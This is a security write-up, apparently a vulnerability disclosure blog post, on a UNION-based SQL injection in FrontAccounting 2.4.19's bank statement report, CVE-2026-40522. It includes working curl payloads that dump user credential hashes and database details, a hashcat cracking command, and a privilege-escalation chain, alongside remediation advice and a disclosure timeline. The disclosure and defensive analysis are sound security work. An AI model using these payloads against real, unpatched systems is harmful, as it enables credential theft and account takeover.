Series
FrontAccounting 2.4.19 Vulnerability Research — View all write-ups

Series Navigation

This is Part 2 of a 4-part series on vulnerabilities in FrontAccounting 2.4.19.

The PDF That Talked Back

After finding the RCE in Part 1, I started digging into FrontAccounting's reporting module. The reporting system generates PDF reports via TCPDF — the user fills out a form with parameters, the backend builds SQL queries from those parameters, and the result comes back as a formatted PDF. Classic pattern. Classic risk.

What caught my eye was the dispatcher architecture. Every report request goes through reporting/prn_redirect.php, which accepts a REP_ID parameter and includes the corresponding report file (rep601.php, rep702.php, rep710.php, etc.). The dispatcher itself is set to $page_security = 'SA_OPEN' — it has to be, because it doesn't know which report you're requesting until it reads REP_ID. The individual report files set their own $page_security values before including session.inc, which performs the actual authorization check.

I started reading report files. And in rep601.php — the bank statement report — I found an integer parameter going straight into a WHERE clause.

The Vulnerable Code

File: reporting/rep601.php

// Line 59
$acc = $_POST['PARAM_0'];

// Line 87
$sql .= " WHERE id = $acc";

That's it. $_POST['PARAM_0'] is read, assigned to $acc, and concatenated into the SQL query with no quoting, no casting, no parameterization. The full query selects from bank_accounts:

SELECT id, bank_account_name, bank_curr_code, bank_account_number
FROM 0_bank_accounts
WHERE id = [PARAM_0]

Four columns. This is a textbook UNION injection setup.

Why html_cleanup() Is Irrelevant

As I covered in Part 1, FrontAccounting runs htmlspecialchars(ENT_QUOTES) on all POST parameters before any application code runs. This is meant to be a global safety net. For SQL injection against integer parameters, it provides zero protection.

Consider the injection payload:

0 UNION SELECT user_id,password,real_name,email FROM 0_users-- -

Every character in that string is: a number, a letter, an underscore, a comma, a space, or a hyphen. None of these are HTML special characters. htmlspecialchars() returns the string completely unchanged. The payload arrives at the SQL query exactly as submitted.

This is the fundamental mismatch: htmlspecialchars() is an HTML encoding function being used as a SQL injection defense. It was never designed for that purpose, and against integer injection points where no quotes are needed, it has no effect at all.

The Request

All report requests go through the dispatcher. The HTTP request is a POST to prn_redirect.php:

curl -sk -b "$COOKIE" -X POST "https://192.168.5.16:8443/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=601" \
  --data-urlencode "PARAM_0=0 UNION SELECT user_id,password,real_name,email FROM 0_users-- -" \
  --data-urlencode "PARAM_1=01/01/2025" \
  --data-urlencode "PARAM_2=01/01/2026" \
  --data-urlencode "PARAM_3=0" \
  --data-urlencode "PARAM_4=" \
  --data-urlencode "PARAM_5=0" \
  --data-urlencode "PARAM_6=0" \
  -o credentials.pdf

The PARAM_0 value 0 UNION SELECT user_id,password,real_name,email FROM 0_users-- - first queries for a bank account with id = 0 (which doesn't exist, returning zero rows), then UNIONs in the contents of the 0_users table. The four columns of the users table map to the four columns of the bank_accounts query.

The response is a PDF. The TCPDF renderer faithfully builds the "Bank Statement" report, but instead of bank account data, the report body contains the injected query results.

The Output

Running pdftotext credentials.pdf - on the response:

admin : 5f4dcc3b5aa765d61d8327deb882cf99 : Administrator : [email protected]

The UNION results are rendered as if they're bank account data. Column 1 (user_id) appears where the bank account ID would be. Column 2 (password hash) appears as the bank account name. Column 3 (real_name) as the currency code. Column 4 (email) as the account number.

5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 hash of the string "password". Zero seconds to crack via any rainbow table. The passwords are stored as unsalted MD5 — md5($password) with no salt, no iterations, no modern hashing algorithm.

PDF report showing extracted user credentials instead of bank account data
PDF report showing extracted user credentials instead of bank account data
Burp Suite showing the POST request with UNION injection payload
Burp Suite showing the POST request with UNION injection payload

Extracting More

The UNION injection isn't limited to the users table. Any data in the database is accessible, as long as you match the four-column structure.

Database version and connection info:

curl -sk -b "$COOKIE" -X POST "https://192.168.5.16:8443/reporting/prn_redirect.php" \
  --data-urlencode "REP_ID=601" \
  --data-urlencode "PARAM_0=0 UNION SELECT 1,version(),user(),database()-- -" \
  --data-urlencode "PARAM_1=01/01/2025" \
  --data-urlencode "PARAM_2=01/01/2026" \
  --data-urlencode "PARAM_3=0" \
  --data-urlencode "PARAM_4=" \
  --data-urlencode "PARAM_5=0" \
  --data-urlencode "PARAM_6=0" \
  -o version.pdf

PDF output:

10.6.27-MariaDB-ubu2204 / [email protected] / frontaccounting

MariaDB 10.6.25, connecting as root from 172.22.0.3, database name frontaccounting. All from a single HTTP request.

PDF showing database version and connection details extracted via SQL injection
PDF showing database version and connection details extracted via SQL injection

The Architecture That Makes This Interesting

The fact that the output channel is a PDF is what makes this UNION injection particularly clean. There's no need to figure out where in an HTML page the reflected data appears, no need to deal with encoding or truncation in the response. The report engine takes whatever the SQL query returns and renders it into a nicely formatted PDF table. It's a data extraction channel that's part of the application's intended functionality — just not intended for this data.

The TCPDF rendering also means the exfiltrated data is in a document format. An attacker can generate PDFs of extracted database contents that look like legitimate reports. From a forensics perspective, distinguishing between "normal report PDF" and "SQL injection exfiltration PDF" requires examining the request that generated it, not the document itself.

The Scope of the Problem

This isn't a one-off. FrontAccounting's reporting module contains 52+ report files, and the pattern of reading $_POST['PARAM_N'] values and concatenating them into SQL is the standard approach across the module. After finding rep601.php, I searched for the same pattern and found additional injectable reports — rep710.php (Part 3) and rep702.php via gl_db_trans.inc (Part 4). The reporting module is a target-rich environment.

The required permission for rep601.php is SA_BANKREP, which is assigned to standard user roles. This is not an admin-only feature.

The Crypto Problem

The extracted hash 5f4dcc3b5aa765d61d8327deb882cf99 deserves its own note. FrontAccounting stores passwords as md5($password) — no salt, no iterations, no bcrypt/argon2/scrypt. This means:

  1. Rainbow tables crack any common password instantly
  2. hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt handles the rest in seconds
  3. Every user's password is recoverable from the hash

This turns the SQL injection from "read the database" into "authenticate as any user." Combined with the RCE from Part 1 (which requires specific role permissions), the chain becomes: any authenticated user → SQLi here → crack admin hash → log in as admin → or crack a user with SA_ATTACHDOCUMENT → RCE.

Terminal showing the MD5 hash being cracked to reveal the admin password
Terminal showing the MD5 hash being cracked to reveal the admin password

Remediation

Immediate fix for rep601.php: Cast the parameter to an integer:

// Replace:
$acc = $_POST['PARAM_0'];

// With:
$acc = (int)$_POST['PARAM_0'];

Systemic fix across the reporting module: Every report file that reads PARAM_N values and uses them in SQL must either:

  1. Cast integer parameters: $value = (int)$_POST['PARAM_N'];
  2. Use parameterized queries (prepared statements) for all database operations
  3. At minimum, pass string values through the database driver's escaping function

Password storage: Migrate from md5($password) to password_hash() with PASSWORD_DEFAULT (currently bcrypt). This is a separate issue from the injection, but the combination of injectable queries and trivially reversible password hashes is what makes this finding chain-critical.

Given there are 52+ report files following the same pattern, the most efficient remediation is to create a helper function that validates and sanitizes all PARAM_N inputs at the dispatcher level (prn_redirect.php) before the individual report files process them. Each report file should declare expected parameter types, and the dispatcher should enforce them.

Disclosure Timeline

Date Event
2026-04-11 Vulnerability discovered during independent security research
2026-04-16 Vendor notified with full technical details
2026-04-17 Vendor acknowledgment
2026-04-17 CVE-2026-40522 assigned
2026-04-26 Version 2.4.20 released with the fix
2026-06-27 Public disclosure

Next: Part 3 covers a time-based blind SQL injection in the audit trail report, where a SLEEP(2) call amplifies to 70 seconds of database lock time thanks to row-count multiplication.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch